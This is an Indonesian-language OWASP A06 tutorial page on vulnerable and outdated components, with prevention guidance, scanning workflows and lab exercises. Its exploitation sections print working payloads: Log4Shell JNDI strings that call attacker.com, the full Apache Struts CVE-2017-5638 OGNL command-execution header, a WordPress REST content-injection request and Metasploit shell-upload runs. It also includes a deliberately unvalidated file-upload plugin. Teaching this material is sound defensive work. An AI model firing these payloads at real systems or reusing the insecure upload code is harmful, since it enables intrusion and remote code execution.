TDCTF Academy Logo TDCTF ACADEMY

A06 - Vulnerable and Outdated Components (Komponen yang Rentan dan Usang)

Definisi

Vulnerable and Outdated Components adalah kerentanan yang muncul ketika sebuah aplikasi menggunakan komponen perangkat lunak (library, framework, plugin, modul) yang memiliki celah keamanan yang sudah diketahui publik (CVE - Common Vulnerabilities and Exposures). Ini termasuk penggunaan versi lama dari software yang sudah tidak mendapat patch keamanan, serta ketergantungan pada komponen yang tidak terawat atau tidak dikenal sumbernya.

OWASP Top 10 2021 menempatkan kerentanan ini di peringkat ke-6, meningkat dari peringkat ke-9 di edisi 2017, menandakan semakin meningkatnya ancaman dari supply chain attacks. Hampir semua aplikasi modern menggunakan puluhan hingga ratusan dependency - dan setiap dependency bisa menjadi titik masuk bagi attacker.

Ciri-ciri komponen yang rentan meliputi:

  • Versi lawas: Menggunakan versi software yang sudah memiliki CVE publik
  • End of Life (EOL): Software sudah tidak mendapat dukungan keamanan dari vendor
  • Unmaintained: Repository tidak aktif, tidak ada patch untuk kerentanan yang diketahui
  • Unknown source: Plugin atau library dari sumber tidak resmi/tidak diverifikasi
  • Salah versi: Menggunakan versi beta/development di produksi
  • Excessive dependencies: Terlalu banyak dependency yang tidak diperlukan
  • No inventory: Tim tidak memiliki daftar komponen yang digunakan

Dampak

Dampak dari vulnerable components bisa sangat serius karena attacker bisa menggunakan eksploitasi yang sudah siap pakai:

Dampak Contoh
Remote Code Execution (RCE) Apache Struts (CVE-2017-5638), Log4Shell (CVE-2021-44228)
Data Breach Equifax breach via Apache Struts - 147 juta data terkena dampak
Denial of Service Library compression yang rentan DoS
Privilege Escalation Session management library dengan celah
SSRF cURL library dengan CVE tertentu
SQL Injection ORM lama dengan celah injeksi
Full System Takeover Kombinasi beberapa CVE pada komponen berbeda

Contoh Kode

Contoh 1: Menggunakan Library dengan CVE Diketahui

// package.json - Aplikasi Node.js dengan library rentan
{
"name": "vulnerable-app",
"version": "1.0.0",
"dependencies": {
"express": "^4.15.0", // Versi lawas - banyak CVE
"lodash": "^4.16.0", // CVE-2018-3721, CVE-2019-10744
"jquery": "^1.12.0", // jQuery 1.x - sudah EOL
"moment": "^2.18.0", // Moment.js - sudah deprecated
"request": "^2.81.0", // Request.js - deprecated!
"ejs": "^2.5.0", // EJS - CVE-2022-29078 (RCE)
"validator": "^9.0.0", // CVE-2020-13650
"sequelize": "^4.37.0", // Banyak SQL injection di versi lama
"passport": "^0.4.0", // CVE-2020-8238
"multer": "^1.3.0" // CVE-2020-7699
}
}

Contoh 2: Vulnerable Python Dependencies

# requirements.txt - Dependencies rentan
flask==0.12.2 # CVE-2018-1000656 - DoS via crafted JSON
django==1.11.29 # CVE-2020-13596 - SQL injection
requests==2.18.4 # CVE-2018-18074 - SSRF
urllib3==1.22 # CVE-2018-20060 - DoS
cryptography==2.3 # CVE-2018-10903 - Padding oracle
boto3==1.7.0 # CVE-2019-1400 - Credential exposure
pyyaml==3.13 # CVE-2020-14343 - Arbitrary code execution
pillow==4.3.0 # CVE-2018-16509 - RCE via ghostscript

Contoh 3: WordPress dengan Plugin Rentan

<?php
/*
Plugin Name: Custom File Upload
Version: 1.0.0 - Versi lama, tidak ada security check
Author: Unknown Developer
*/

// File upload tanpa validasi - CVE yang sudah diketahui
function custom_file_upload() {
$upload_dir = wp_upload_dir();
$file_name = $_FILES['file']['name']; // Tidak disanitasi
$file_tmp = $_FILES['file']['tmp_name'];

// Tidak ada validasi ekstensi, MIME type, atau ukuran file
move_uploaded_file($file_tmp, $upload_dir['path'] . '/' . $file_name);

return 'File uploaded!';
}
add_action('wp_ajax_nopriv_upload', 'custom_file_upload');

Contoh 4: Mengelola Dependencies dengan Aman

# requirements-safe.txt - Dependencies yang telah divalidasi
# Gunakan pinning versi spesifik, bukan range
flask==2.3.3
django==5.0.1
requests==2.32.0
urllib3==2.2.0
cryptography==41.0.3
pyyaml==6.0.1
pillow==10.1.0

# Gunakan hash verification
# --hash=sha256:xxxx... untuk memverifikasi integritas package
# Gunakan pip dengan hash checking
pip install --require-hashes -r requirements.txt

Skenario Eksploitasi

Skenario 1: Eksploitasi Log4Shell (CVE-2021-44228)

Log4j adalah library logging Java yang sangat populer. CVE-2021-44228 adalah critical RCE yang memengaruhi Log4j versi 2.0 hingga 2.14.1.

Langkah eksploitasi:

  1. Deteksi versi: Attacker menemukan aplikasi menggunakan Apache Log4j
  2. Craft payload: Mengirim string khusus ke server target
  3. Trigger JNDI lookup: Log4j melakukan lookup ke server attacker
  4. Download malware: Server target mendownload dan mengeksekusi payload dari server attacker
# Payload Log4Shell sederhana
${jndi:ldap://attacker.com/exploit}

# Melalui HTTP header
curl -H 'User-Agent: ${jndi:ldap://attacker.com/a}' https://target.com

# Melalui form input
curl -X POST https://target.com/login \
-d 'username=${jndi:ldap://attacker.com/a}&password=test'

# Cek apakah server vulnerable
curl -H 'User-Agent: ${jndi:ldap://your-collaborator.net/test}' https://target.com

Skenario 2: Eksploitasi Apache Struts (CVE-2017-5638)

Kerentanan ini digunakan dalam serangan Equifax yang mengekspos data 147 juta orang.

# Payload untuk CVE-2017-5638
Content-Type: %{(#_='multipart/form-data').
(#[email protected]@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())}

# Eksekusi
curl -X POST https://target.com/struts2-showcase/fileupload.action \
-H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

Skenario 3: Deteksi dan Eksploitasi dengan Nuclei

# Scan dengan Nuclei untuk mendeteksi komponen rentan
nuclei -u https://target.com -t cves/ -severity critical,high

# Scan spesifik untuk Log4j
nuclei -u https://target.com -t exposures/configs/log4j/

# Scan untuk WordPress plugin lama
nuclei -u https://target.com -t technlogies/wordpress/

# Output ke file
nuclei -u https://target.com -t cves/ -o vulnerable_components.txt

Skenario 4: Deteksi dengan Wappalyzer dan Shodan

# Menggunakan curl untuk mengecek server header
curl -I https://target.com
# Response:
# Server: Apache/2.4.7 (Ubuntu)
# X-Powered-By: PHP/5.5.9

# Cek versi dari file umum
curl -s https://target.com/wp-content/plugins/akismet/akismet.php | head -1
curl -s https://target.com/readme.html | grep -i version
curl -s https://target.com/changelog.txt | head -10

Pencegahan

1. Software Inventory Management

# sbom-software-bill-of-materials.yaml
# Software Bill of Materials (SBOM) - Daftar semua komponen
application: vulnerable-app
version: 2.1.0
components:
- name: express
version: 4.18.2
license: MIT
last_audit: 2024-01-15
cve_known: false
update_available: false

- name: lodash
version: 4.17.21
license: MIT
last_audit: 2024-01-15
cve_known: false
update_available: false

- name: django
version: 5.0.1
license: BSD-3
last_audit: 2024-01-15
cve_known: false
update_available: false

2. Vulnerability Scanning Otomatis

# .github/workflows/vulnerability-scan.yml
name: Vulnerability Scan
on:
schedule:
- cron: '0 6 * * 1' # Setiap Senin jam 6 pagi
push:
branches: [main, develop]

jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4

# Python dependencies
- name: Scan Python with Safety
run: |
pip install safety
safety check -r requirements.txt --full-report

# Node.js dependencies
- name: Scan Node with npm audit
run: |
npm audit --audit-level=high

# Full SCA scan
- name: Snyk Scan
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
with:
args: --severity-threshold=high

# Dependency review on PR
- name: Dependency Review
uses: actions/dependency-review-action@v3
if: github.event_name == 'pull_request'

3. Update Script Otomatis

#!/bin/bash
# update-dependencies.sh - Script update dependencies aman

echo "=== UPDATE DEPENDENCIES ==="

# Fungsi untuk update Python packages dengan aman
update_python() {
echo "[Python] Memeriksa outdated packages..."
pip list --outdated --format=columns

echo "[Python] Update package dengan aman..."
# Update satu per satu dan test
for package in $(pip list --outdated --format=freeze | cut -d= -f1); do
echo " Mengupdate $package..."
pip install --upgrade "$package" 2>/dev/null
if python -m pytest tests/ -q --tb=short 2>/dev/null; then
echo " ✓ $package berhasil diupdate"
else
echo " ✗ $package gagal test, rollback..."
pip install "$package==$(pip list --outdated --format=columns | grep $package | awk '{print $2}')"
fi
done
}

# Fungsi untuk update Node packages
update_node() {
echo "[Node.js] Memeriksa vulnerabilities..."
npm audit

echo "[Node.js] Mengupdate packages..."
npm update

echo "[Node.js] Fix vulnerabilities otomatis..."
npm audit fix

# Cek apakah masih ada vulnerability
if npm audit --audit-level=high | grep -q "high"; then
echo "⚠️ Masih ada high severity vulnerabilities. Perlu manual review."
npm audit --json | jq '.vulnerabilities | to_entries[] | select(.value.severity=="high" or .value.severity=="critical") | {name: .key, severity: .value.severity, cve: .value.cves[0]}'
fi
}

update_python
update_node

echo "=== UPDATE SELESAI ==="

4. Checklist Pencegahan

  1. Buat SBOM (Software Bill of Materials) - dokumentasi semua dependency
  2. Gunakan SCA tools - Snyk, Dependabot, Renovate, OWASP Dependency-Check
  3. Update rutin - jadwalkan update dependency secara berkala (bulanan/mingguan)
  4. Pantau CVE database - subscribe ke NVD, GitHub Advisories, OSV.dev
  5. Hapus dependency tidak terpakai - kurangi attack surface
  6. Gunakan versi pinned - jangan gunakan range version (^, ~) yang longgar
  7. Verifikasi integritas - gunakan checksum/SHA256 verification
  8. Gunakan private registry - mirror package dari sumber tepercaya
  9. Review pull request dependency - jangan auto-merge update dependency
  10. Monitor EOL software - jangan gunakan software yang sudah End of Life
  11. Container scanning - scan Docker images dengan Trivy atau Clair
  12. Vendor assessment - evaluasi keamanan vendor library pihak ketiga

5. Tools untuk Vulnerability Scanning

Tool Fungsi Bahasa/Lingkungan
OWASP Dependency-Check SCA untuk Java, .NET, Python, Ruby Multi-platform
Snyk SCA komersial dengan database luas Multi-language
Dependabot Auto-update dependency di GitHub GitHub-native
Renovate Auto-update dependency Multi-platform
Nuclei Template-based vulnerability scanner Web/Network
Trivy Container dan filesystem scanner Container, OS
Safety Python dependency checker Python
npm audit / yarn audit Node.js dependency checker Node.js
Grype Vulnerability scanner untuk container Container
Black Duck SCA enterprise Multi-platform

CWE Mapping

CWE ID Nama Deskripsi
CWE-1104 Use of Unmaintained Third-Party Components Menggunakan komponen pihak ketiga yang sudah tidak terawat atau tidak mendapat update keamanan. Ini adalah CWE utama untuk kerentanan A06.
CWE-937 Using Components with Known Vulnerabilities Menggunakan komponen yang memiliki CVE yang sudah diketahui publik.
CWE-1035 Using Components with Known Vulnerabilities (OWASP Top Ten) Kategori spesifik OWASP untuk komponen dengan kerentanan yang diketahui.
CWE-1104 Use of Unmaintained Third-Party Components Komponen yang tidak lagi mendapat dukungan atau patch keamanan.
CWE-1117 Use of Unmaintained Third-Party Components Sub-kategori untuk komponen yang ditinggalkan.
CWE-829 Inclusion of Functionality from Untrusted Control Sphere Memasukkan fungsionalitas dari sumber yang tidak tepercaya.
CWE-494 Download of Code Without Integrity Check Mendownload kode tanpa verifikasi integritas.

Lab Terkait

1. WordPress 4.7 - Content Injection

  • Deskripsi: WordPress 4.7 memiliki kerentanan content injection (CVE-2017-1001000) yang memungkinkan unauthenticated user memodifikasi konten posting
  • Endpoint: /wp-json/wp/v2/posts/ - REST API endpoint
  • Eksploitasi: Akses REST API tanpa autentikasi untuk injection
  • Tools: curl, python script, Metasploit
# Deteksi versi WordPress
curl -s https://target.com/readme.html | grep "Version"

# Eksploitasi REST API injection
curl -X POST https://target.com/wp-json/wp/v2/posts \
-H "Content-Type: application/json" \
-d '{"id": 1, "title": "Hacked!", "content": "Pwned via CVE-2017-1001000"}'

2. WordPress 5.0 - Privilege Escalation via RCE

  • Deskripsi: WordPress 5.0 dengan plugin yang rentan
  • Eksploitasi: Menggunakan Metasploit untuk WordPress exploit
  • Tools: Metasploit framework
# Menggunakan Metasploit
msfconsole
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 > set RHOSTS target.com
msf6 > set USERNAME admin
msf6 > set PASSWORD password123
msf6 > run

3. Metasploitable 2

  • Deskripsi: VM yang sengaja dibuat rentan dengan berbagai komponen lawas
  • Komponen rentan:
    • Apache 2.2.8 (CVE-2008-2939, dll)
    • PHP 5.2.4 (banyak CVE)
    • MySQL 5.0.51a (CVE lama)
    • Tomcat 5.5 (default credentials)
    • distcc (CVE-2004-2687 - RCE)
  • Tools: Nmap, Metasploit, Hydra, Nikto
# Scan komponen di Metasploitable 2
nmap -sV -p- 192.168.1.10

# Hasilnya akan menunjukkan banyak service lawas:
# 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
# 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
# 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

# Eksploitasi via Metasploit
msfconsole
msf6 > use exploit/multi/http/tomcat_mgr_upload
msf6 > set RHOSTS 192.168.1.10
msf6 > set RPORT 8180
msf6 > set HttpUsername tomcat
msf6 > set HttpPassword tomcat
msf6 > run

4. OWASP WebGoat - Challenge A06

  • Deskripsi: WebGoat memiliki lesson khusus untuk vulnerable components
  • Challenge: Menemukan dan mengeksploitasi library yang rentan
  • Endpoint: Bervariasi tergantung challenge

Kesimpulan

Vulnerable and Outdated Components merupakan ancaman serius karena:

  1. Prevalensi tinggi: Hampir semua aplikasi menggunakan dependency pihak ketiga
  2. Eksploitasi mudah: CVE publik sudah memiliki PoC (Proof of Concept) exploit
  3. Dampak besar: Dari RCE hingga data breach berskala besar
  4. Supply chain risk: Satu komponen rentan bisa memengaruhi ribuan aplikasi

Pendekatan terbaik adalah proaktif: buat SBOM, lakukan scanning rutin, update secara disiplin, dan verifikasi sumber komponen. Jangan menunggu sampai ada CVE yang mengekspos aplikasi Anda.

PADA HALAMAN INI